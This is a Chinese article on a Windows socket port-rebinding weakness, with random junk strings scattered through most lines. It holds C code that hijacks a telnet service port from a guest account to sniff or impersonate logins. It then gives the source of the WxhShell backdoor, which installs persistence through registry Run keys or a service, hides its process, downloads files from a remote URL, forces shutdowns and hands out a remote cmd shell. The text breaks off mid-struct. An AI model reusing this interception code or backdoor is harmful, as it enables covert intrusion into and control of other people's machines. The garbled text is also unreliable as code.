在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
dvH67 x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
J[Y lo&w3 V3.vE, saddr.sin_family = AF_INET;
I=Lj_UF4 cc#_acR saddr.sin_addr.s_addr = htonl(INADDR_ANY);
FZLzu P7^TRrMF bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
et7 T)(k0 pRa oR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=h1 QN ~S~x@&yR 这意味着什么?意味着可以进行如下的攻击:
|Cxip&e> V%Z[,C
u+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`XRb:d^ xHR+(( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
s`7
_J9 pu
m9x)y1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
)r-|T&Sn 4h0jX9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
mqfEs0~I 0V>N#P] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2&G1Q'! _s#/f5<:B 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wr6xuoH ^?l-YnQqm? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%.Q2r ?j hghto
\G5Y #include
R,b O{2O #include
APOU&Wd #include
z jNjmC!W #include
!n?*vN=S DWORD WINAPI ClientThread(LPVOID lpParam);
gpTF^.( int main()
?tM]. \ {
3[g++B."pC WORD wVersionRequested;
'%r@D&*vp DWORD ret;
.TrQ +k> WSADATA wsaData;
jH#^O;A BOOL val;
Wy-quq03"& SOCKADDR_IN saddr;
m">
=QP SOCKADDR_IN scaddr;
38.J:?Q int err;
i{x0#6_Y SOCKET s;
)-:f;#xJ SOCKET sc;
QcVtv7+*v int caddsize;
3'NL1d u HANDLE mt;
5WNRo[`7 DWORD tid;
2ZIY{lBe wVersionRequested = MAKEWORD( 2, 2 );
E;Ftop err = WSAStartup( wVersionRequested, &wsaData );
NGeeD?2~ if ( err != 0 ) {
4I[FE;^ printf("error!WSAStartup failed!\n");
'C8=d(mR=m return -1;
}u*@b10 }
?F), 4Q saddr.sin_family = AF_INET;
vpw&"?T NqfDY
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(dprY1noC m6ws#%|[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^%/5-0?xE saddr.sin_port = htons(23);
Rm1` D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7CN[Z9Y^} {
wLp
t2b8S printf("error!socket failed!\n");
40sLZa)e return -1;
P
T.jR* }
N~KRwsDH val = TRUE;
)CTM //SO_REUSEADDR选项就是可以实现端口重绑定的
ZVR 9vw28 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
r/<JY5 {
'i-O printf("error!setsockopt failed!\n");
@{a-IW3 return -1;
nY0UnlB` }
PGhZ`nl //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>Ga1p'8FtU //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\)]2Uh| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6N)1/=) qP'g}Pc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{EN@,3bA {
YYh_lAS> ret=GetLastError();
F7l:*r,O printf("error!bind failed!\n");
E\N=p&g$ return -1;
bD-Em#> }
jch8d(`?d listen(s,2);
*03/:q ^( while(1)
PCfs6.*5Mf {
S:\hcW6 caddsize = sizeof(scaddr);
dw!Eao47 //接受连接请求
9iNns;^`q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{3Wc<&D
C1 if(sc!=INVALID_SOCKET)
[![(h % {
c3t8yifQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]w_)Spo. if(mt==NULL)
4,DsB' {
I!O S&8:u printf("Thread Creat Failed!\n");
,?/<fxIY break;
c`; LF'! }
l$ 9, }
p2(_YN;s CloseHandle(mt);
db~ :5#* }
`%p6i|
_Q closesocket(s);
GA}^Rh`T- WSACleanup();
:/qO*&i,N return 0;
3Q)>gh* }
gAP}KR#T DWORD WINAPI ClientThread(LPVOID lpParam)
Ti'kn{
Zv {
#{,IY03 SOCKET ss = (SOCKET)lpParam;
FJ"9Hs2 SOCKET sc;
c<e\JJY5? unsigned char buf[4096];
H/Q)zDP SOCKADDR_IN saddr;
NM.B=<Aw* long num;
R?s\0 DWORD val;
$t}1|q| DWORD ret;
]'/]j //如果是隐藏端口应用的话,可以在此处加一些判断
{Z.@-Tl_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,eCXT=6 saddr.sin_family = AF_INET;
xltu
g## saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
pa-4|)qY saddr.sin_port = htons(23);
>,Z{wxzJ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U^\~{X {
V0i$"|F+E printf("error!socket failed!\n");
q2vz#\A? return -1;
C|LQYz-{ }
k)Wz b val = 100;
,O$C9pH9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
t@M] ec {
!yrHVc ret = GetLastError();
5V!XD9P' return -1;
[rU8
#4.
}
+9CUnRv if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*`T&Dlt'8 {
b%j:-^0V ret = GetLastError();
o#/iR]3 return -1;
5&=n }
^iS:mt if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|3ETF|)? {
38i,\@p`9$ printf("error!socket connect failed!\n");
.
*xq = closesocket(sc);
v"~I( kf$ closesocket(ss);
:G/]rDtd return -1;
[HDO^6U }
_!p3M3"$B while(1)
w[YbL2p {
NI:N
W-! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5N<v'6&= //如果是嗅探内容的话,可以再此处进行内容分析和记录
j],.`Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t'x:fO?cp num = recv(ss,buf,4096,0);
2tm-:CPG if(num>0)
F*:NKT d send(sc,buf,num,0);
rd4'y~#S else if(num==0)
:9#{p^:o break;
FH`&C*/F0Y num = recv(sc,buf,4096,0);
N~_jiVD> if(num>0)
w{x(YVSH send(ss,buf,num,0);
eH/\7)z else if(num==0)
~ O=| v/] break;
X>8?p'* }
vaJXX closesocket(ss);
WVK-dBU closesocket(sc);
E?U]w0g return 0 ;
%ab)Gs }
+J8/,d )'`AX\ 4,ynt& ==========================================================
[c[MQA0 ?QT"sj64w 下边附上一个代码,,WXhSHELL
&})d%*n '?3z6% ==========================================================
w?W e|x3 - :z5m+ #include "stdafx.h"
s
Xk?.A_D RTBBb:eX #include <stdio.h>
H-KwkH`L4 #include <string.h>
h21(K} #include <windows.h>
|abst&yp #include <winsock2.h>
|QNLO#$ - #include <winsvc.h>
T_tDpq_| #include <urlmon.h>
`pd V0
+k3H #pragma comment (lib, "Ws2_32.lib")
J$9xC{L4 #pragma comment (lib, "urlmon.lib")
Y\Qxdq (X_ ,*3Yxk #define MAX_USER 100 // 最大客户端连接数
j[J@tM# #define BUF_SOCK 200 // sock buffer
K M\+ #define KEY_BUFF 255 // 输入 buffer
lH@E % !eAdm #define REBOOT 0 // 重启
26#Jhb E+ #define SHUTDOWN 1 // 关机
~{,vg4L H;*a:tbxO+ #define DEF_PORT 5000 // 监听端口
Lr?4Y n &\'Hm #define REG_LEN 16 // 注册表键长度
y.*=Ww+ #define SVC_LEN 80 // NT服务名长度
`\F%l?aY <\d|=>; // 从dll定义API
*iRm`)zC( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
XL7;^AE^Wl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
AXh3LA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V)1:LLRW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!`
M;# lO2T/1iMTW // wxhshell配置信息
TcKvSdr' struct WSCFG {
@ "{' j int ws_port; // 监听端口
1ntkM? char ws_passstr[REG_LEN]; // 口令
k$-~_^4m int ws_autoins; // 安装标记, 1=yes 0=no
-q&7J'
N char ws_regname[REG_LEN]; // 注册表键名
4Ay`rG char ws_svcname[REG_LEN]; // 服务名
EAD0<I<>
char ws_svcdisp[SVC_LEN]; // 服务显示名
Z`oaaO char ws_svcdesc[SVC_LEN]; // 服务描述信息
1]
%W\RHxo char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@k+%y'Y? int ws_downexe; // 下载执行标记, 1=yes 0=no
K(Q]&&< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M<Wn]}7! char ws_filenam[SVC_LEN]; // 下载后保存的文件名
kByrhK5U &>W (l. };
wTlK4R# [*9YIjn // default Wxhshell configuration
(aJP: ^ struct WSCFG wscfg={DEF_PORT,
&SjHrOG? "xuhuanlingzhe",
B.22
DuE# 1,
9|N"@0<B "Wxhshell",
-Wlp=#9 "Wxhshell",
{K45~ha9!m "WxhShell Service",
zNV!@Yr "Wrsky Windows CmdShell Service",
P.LuF(?$ "Please Input Your Password: ",
Z;GIlgK9 1,
/ojO>Y[< "
http://www.wrsky.com/wxhshell.exe",
af<NMgT2s~ "Wxhshell.exe"
}XX~
W}M(\ };
r zM Fof ;-KAUgL2 // 消息定义模块
_{LN{iqDv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9;0V
/y char *msg_ws_prompt="\n\r? for help\n\r#>";
*xE"8pN/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(C`FicY char *msg_ws_ext="\n\rExit.";
nT.L}1@ char *msg_ws_end="\n\rQuit.";
Pz]bZPHn char *msg_ws_boot="\n\rReboot...";
Hp)X^O" char *msg_ws_poff="\n\rShutdown...";
[G{rHSK5tQ char *msg_ws_down="\n\rSave to ";
tZaD ${ 4F05(R8k char *msg_ws_err="\n\rErr!";
#XTY7,@P char *msg_ws_ok="\n\rOK!";
r0\cc6 _ PXG AS char ExeFile[MAX_PATH];
P?9nTG int nUser = 0;
lGdM80f HANDLE handles[MAX_USER];
j5L)N int OsIsNt;
<^lJr82 GWF/[% SERVICE_STATUS serviceStatus;
/> ^@
O SERVICE_STATUS_HANDLE hServiceStatusHandle;
tHrK~| g%`i=s&N% // 函数声明
m7$8k@r int Install(void);
9$Ig~W) int Uninstall(void);
Z?m
-&% int DownloadFile(char *sURL, SOCKET wsh);
`J72+ RA int Boot(int flag);
G1]"s@8( void HideProc(void);
3`8dii int GetOsVer(void);
cVO,~I\\ int Wxhshell(SOCKET wsl);
*_`76`cz%X void TalkWithClient(void *cs);
hf;S]8|F int CmdShell(SOCKET sock);
U?gl"6x int StartFromService(void);
)|v^9 int StartWxhshell(LPSTR lpCmdLine);
=EQJqj1T !7}IqSs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e# t3u_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
KX!i\NHz AgIazv1 // 数据结构和表定义
XC=%H'p SERVICE_TABLE_ENTRY DispatchTable[] =
>D 97c|?c {
|+>uA[6# {wscfg.ws_svcname, NTServiceMain},
_w 5RK( {NULL, NULL}
X*i/A<Y`= };
A]7<'el= 7_-w_"X // 自我安装
rah,dVE] int Install(void)
W4(v6>5l {
r#A_RZ2~@ char svExeFile[MAX_PATH];
7c-Gm R2 HKEY key;
O`WIkBV! strcpy(svExeFile,ExeFile);
Ht#@'x ] /+D^6 // 如果是win9x系统,修改注册表设为自启动
~3gru>qI& if(!OsIsNt) {
x[QZ@rGIW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
baee?6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;imRh'-V6 RegCloseKey(key);
EM@;3.IO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hrbo:8SL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2jl)mL RegCloseKey(key);
Cp#)wxi6[y return 0;
.-0%6]
cFD }
. V$ps-t }
RsW9:*R }
,w{m3;]_% else {
XF|WCZUnY% #]9hTa IR // 如果是NT以上系统,安装为系统服务
!Vheq3"q/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+Ng0WS_0 if (schSCManager!=0)
k;I &.H {
>E:<E'L SC_HANDLE schService = CreateService
;gMgj$mI (
;Wc4qJ.@ schSCManager,
_n"Ae?TP wscfg.ws_svcname,
2Vk\L~K wscfg.ws_svcdisp,
Ri#H.T<' SERVICE_ALL_ACCESS,
u=r`t(Z1H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
B&Y_2)v SERVICE_AUTO_START,
T@[! A); SERVICE_ERROR_NORMAL,
-h#mn2U~3r svExeFile,
@*MC/fe NULL,
%+-C3\' NULL,
:!fG; )= NULL,
|E@djosyC NULL,
YE}s NULL
-?6MU~"GK );
'Z&;uv,l if (schService!=0)
I]nHbghcW {
-x`G2i CloseServiceHandle(schService);
93O;+Z5J CloseServiceHandle(schSCManager);
g~S)aU\:, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[zkikZy strcat(svExeFile,wscfg.ws_svcname);
hWo=;#B* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
DJ@|QQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|3hY6aty RegCloseKey(key);
xJZ@DR,# return 0;
7=XL!:P }
>dzsQ^Nj }
b;GD/UI CloseServiceHandle(schSCManager);
/`npQg- }
vuQ%dDxI }
SC &~s$P; Xz 4 x return 1;
gEQNs\Jn
L }
Jb["4X;h P
u0uKE // 自我卸载
7piuLq+ int Uninstall(void)
X"fh@. {
kcie}Be HKEY key;
f~{}zGTM: j2l55@ if(!OsIsNt) {
Rli:x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;Xvp6.: RegDeleteValue(key,wscfg.ws_regname);
Mg,:UC: RegCloseKey(key);
-62'}%?A<C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sOCs13A" RegDeleteValue(key,wscfg.ws_regname);
W5L iXM RegCloseKey(key);
U$dh1; return 0;
{%2v Gn }
y! .J }
kql0J|P? }
!2UOC P else {
YwY74w: P +"Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
:u8(^]N if (schSCManager!=0)
!\8 ;d8 {
ml|W~-6l SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
E{^ XlY if (schService!=0)
G0O#/%% {
54-#QIx| if(DeleteService(schService)!=0) {
BBG3OAyg_ CloseServiceHandle(schService);
OA/WtQ5 CloseServiceHandle(schSCManager);
`LAR@a5i return 0;
`@[c8j7 }
%CUGm$nH CloseServiceHandle(schService);
ae"]\a\&1o }
$N:Vo(* CloseServiceHandle(schSCManager);
yme^b
;a }
=[\s8XH, }
mC?i}+4>4R ~8"8w(CG*I return 1;
b^D$jY }
-/{4Jf Wf Ev7J+TmXM // 从指定url下载文件
XU/QA
[K int DownloadFile(char *sURL, SOCKET wsh)
#ET/ = {
:1t~[-h^ HRESULT hr;
o?1;<gs char seps[]= "/";
+w@M~?> char *token;
/ XnhmqWm% char *file;
k+I}PuG char myURL[MAX_PATH];
l]~n3IK" char myFILE[MAX_PATH];
V[-jD8='3 ;nC.fBu strcpy(myURL,sURL);
bAKiq}xG%i token=strtok(myURL,seps);
fDG0BNLY while(token!=NULL)
5_XV%-wM {
7jnIv];i file=token;
>.dWjb6t token=strtok(NULL,seps);
/Uo
y/}! }
,`ZYvF^% >``MR%E:< GetCurrentDirectory(MAX_PATH,myFILE);
tmqY2. strcat(myFILE, "\\");
v1a6?- strcat(myFILE, file);
8,0YD#x send(wsh,myFILE,strlen(myFILE),0);
%tG*C,l] send(wsh,"...",3,0);
P!"&%d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Us+pc^A if(hr==S_OK)
yHxosxd<* return 0;
@as"JAN else
r}uz7}z %" return 1;
#j *d^j& ooUk O }
l}$ U])an# ]p_@@QTC // 系统电源模块
$Y5)( int Boot(int flag)
gi0W;q {
ChCrL[2 HANDLE hToken;
f4L`.~b'hb TOKEN_PRIVILEGES tkp;
6xD#? } :Z#}8 if(OsIsNt) {
=0;^(/1Mc OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
u]vQ>Uu LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
SRDXfkoI tkp.PrivilegeCount = 1;
Bdj%hyW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
i\W/C AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Qx [t/~ if(flag==REBOOT) {
da (km+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
y#XbJuN/ return 0;
;]_o4e6\p }
jg?x&'u\) else {
qL,tYJ<m% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<Qxh)@
N return 0;
:]J Ye* }
}g4 M2| }
~i `>adJ: else {
_Gu-
uuy if(flag==REBOOT) {
a{[x4d,z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
e^O(e return 0;
b!)<-|IK }
4q<=K= F else {
y~75r\"R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`3:.??7N return 0;
up'Tit }
8jyG"%WO }
F+@5C:<? p1vp8p return 1;
/z}~zO }
clk[ /'1 3\Xbmq8} // win9x进程隐藏模块
X$yN_7|+ void HideProc(void)
ai{Sa U {
DG?"5:Zd / 4lvP HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
lEV]4
t_H if ( hKernel != NULL )
v$N|"o"" {
9ksE>[7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
0@EwM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;g~TWy^o FreeLibrary(hKernel);
9k 6r_G" }
3"P }n Q_t`.jus return;
HcqfB NM }
6qp%$>$Vt; AhNq/?Q Q~ // 获取操作系统版本
F}=aBV|- int GetOsVer(void)
6qaulwV4t {
!=N"vD* OSVERSIONINFO winfo;
#H0dZ.$b0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gmm|A9+tv GetVersionEx(&winfo);
&0`)
Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u&n'
ITH return 1;
q5#J~n8Wr else
Rb{U+/gq return 0;
-*XCxU' }
p8]68!=W\F B4mR9HMh // 客户端句柄模块
$bsG] int Wxhshell(SOCKET wsl)
+mp@b942* {
,j$Vvz SOCKET wsh;
`3hSLR struct sockaddr_in client;
('hEr~& DWORD myID;
y8rm 1Y]TA3: while(nUser<MAX_USER)
Zib)P & {
zNIsf" int nSize=sizeof(client);
~>+]%FPv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
.;*s`t if(wsh==INVALID_SOCKET) return 1;
dtcIC0:[ x*Y@Q?`>5W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,Bal if(handles[nUser]==0)
Gqy,u3lE closesocket(wsh);
=-}[^u1 else
m2v'WY5u nUser++;
QJ7L7S }
KFFSv{m[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=%>oR 6%VV,$p return 0;
:"!9_p(,, }
d:i;z9b@to DmOyBtj // 关闭 socket
#2EI\E&$ void CloseIt(SOCKET wsh)
mI>,.&eo {
]| +<P- closesocket(wsh);
<&:=z?30" nUser--;
._+J_ts ExitThread(0);
tT79p.z B }
J:kmqk! "|HDGA5 // 客户端请求句柄
|a#f\ void TalkWithClient(void *cs)
iIP8`!
O {
MG{YrX) oi H
Tz SOCKET wsh=(SOCKET)cs;
E{n:J3_X^d char pwd[SVC_LEN];
h)Ff2tX char cmd[KEY_BUFF];
$&2UTczp char chr[1];
,DZX$Ug~+E int i,j;
zrU{@z$l yOwA8^q while (nUser < MAX_USER) {
3yNU$.g ?Sb8@S&J if(wscfg.ws_passstr) {
|#*'H*W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fks)+L' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ogp"u b 8 //ZeroMemory(pwd,KEY_BUFF);
5A4&+rdU i=0;
v$ub~Q6W while(i<SVC_LEN) {
UDL
RCS8i 8zBWIi // 设置超时
oy;K_9\ fd_set FdRead;
o,P.&m{? struct timeval TimeOut;
STJJU]H FD_ZERO(&FdRead);
A?@@*$& FD_SET(wsh,&FdRead);
Glpe/At TimeOut.tv_sec=8;
-<_Ww\%8M TimeOut.tv_usec=0;
8dlw-Q'S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}`NU@O# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
EFc-foN i:l<C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
T_lsGu/ pwd
=chr[0]; |> _!eS\=<
if(chr[0]==0xd || chr[0]==0xa) { 0Ld@H)
pwd=0; sIv)'
break; {Ixg2=E\
} H&yD*@
i++; E[^ {w
} 2>l,no39t+
8L1oh j
// 如果是非法用户,关闭 socket s<]&*e&}?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /CIh2
]#e
} 2z@\R@F
\))=gu)I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 42 \-~]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wWXD\{Hk
@;?T~^nGj
while(1) { k'PQ}
,Vb
W@2vjz
ZeroMemory(cmd,KEY_BUFF); (S ^8UV
]0r|_)s
// 自动支持客户端 telnet标准 uZi.HG{<)
j=0; K)_WL]RJ.4
while(j<KEY_BUFF) { [Ym
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ')N{wSM9Ft
cmd[j]=chr[0]; 2:LHy[{5
if(chr[0]==0xa || chr[0]==0xd) { T{}fHfM
cmd[j]=0; d
HJhFw
break; vsj3
} n$:IVX"2b
j++; &Sp -w?kM
} 5IKL#V`3a
=\{\g7
// 下载文件 1J?dK|% b
if(strstr(cmd,"http://")) { }!i` 0p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Em7 WDu0
if(DownloadFile(cmd,wsh)) Xq4|uuS-O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dXn%lJ
else 4m-I5!=O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); auWXgkwZs/
} Bg8#qv
else { ?U7) XvQ
-]:GL>b
switch(cmd[0]) { fj ,m
Q# ?wXX47
// 帮助 !rhk
$L
case '?': { S.|FL%;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N:"C+a(
break; B ZMu[M
}
st'D
// 安装 4ujvD ^
case 'i': { l =IeJh
if(Install()) l?*r5[O>n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =iHiPvP0
else N]YtLa,t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m?[5J)eR
break; ]+H?@*b`
} {0YAzZ7
// 卸载 -p-0;Hy
case 'r': { sn{A wF%
if(Uninstall()) VK3it3FI>3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wd(86idnc
else as"N=\N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [*m2
break;
FnHi(S|A
} ]|:uU
// 显示 wxhshell 所在路径 8X&Ya =
case 'p': { 'b"TH^\
char svExeFile[MAX_PATH]; %zo=
K}u
strcpy(svExeFile,"\n\r"); q\9d6u=Gm
strcat(svExeFile,ExeFile); %1:c hvS
send(wsh,svExeFile,strlen(svExeFile),0); 7k=fZ$+O
break; p D=w>"
} +K6szGP
// 重启 K\Eo z]?
case 'b': { hh.Q\qhubB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oYM,8 K
if(Boot(REBOOT)) CL7Nr@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +iF
1sC_
else { k<4P6?
closesocket(wsh); u@.>WHQN
ExitThread(0); Bo\D.a(T
} RB3 zHk%
break; {)K](S
~
} $EBb"+Y'T
// 关机 d$;/T('
case 'd': { ulXnq`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P -Fg^tl
if(Boot(SHUTDOWN)) ;rBp1[qVe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xX@FWAj
else { &/ouW'oP
closesocket(wsh); h{]#ag5`
ExitThread(0); hG Apuy
} .gT4_
break; :%tuNJjj
} u.6P-yh
// 获取shell J4yt N3
case 's': { XT||M)#
CmdShell(wsh); fA8ozL T
closesocket(wsh); A0#Y, 1
ExitThread(0); YU\Gj S~>&
break; BXTN>d27
} Y%IJ8P^Y
// 退出 k:P$LzIB
case 'x': { =s[&;B`s
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); koH4~m{
CloseIt(wsh); $A?}a
break; |NEd@
} iVeQ]k(u
// 离开 jzrt7p*k}
case 'q': { 6q%ed
UED
send(wsh,msg_ws_end,strlen(msg_ws_end),0); k|#Zy,
closesocket(wsh); }[,3yfiX
WSACleanup(); /2h][zrZ[.
exit(1); 2z-$zB<vyw
break; ? ICDIn
} K^ 6+Ily
} j)6G7T|
} uL>:tb
BE%Z\E[[m
// 提示信息 ]<X2AO1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e\~l!f'z
} ,o)4p\nV
} (C~dkR?
KW>VOW<.
return; KnFQ)sX^
} 3M$X:$b
{]M>Y%j48
// shell模块句柄 LR\zy8y]
int CmdShell(SOCKET sock) Bbs5f@E
{ irmwc'n]
STARTUPINFO si; i+RD]QL
ZeroMemory(&si,sizeof(si)); 5Jw"{V?Ak
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wWFW,3b
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sU*3\
PROCESS_INFORMATION ProcessInfo; J=P;W2L
char cmdline[]="cmd"; CK Mv7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hir(6Bt
return 0; .~22^k
} 2*YP"Ryh
N&N 82OG
// 自身启动模式 ?w8pLE~E
int StartFromService(void) kdd7Xbw-
{ r?afv.@L2
typedef struct <>&89E%j'
{ Vs|sw
DWORD ExitStatus; %Il ;B~t
DWORD PebBaseAddress; &*ZC0V3
DWORD AffinityMask; uc\.oG;~q
DWORD BasePriority; jDJ.
ULONG UniqueProcessId; -sx-7LKi
ULONG InheritedFromUniqueProcessId; QglYU
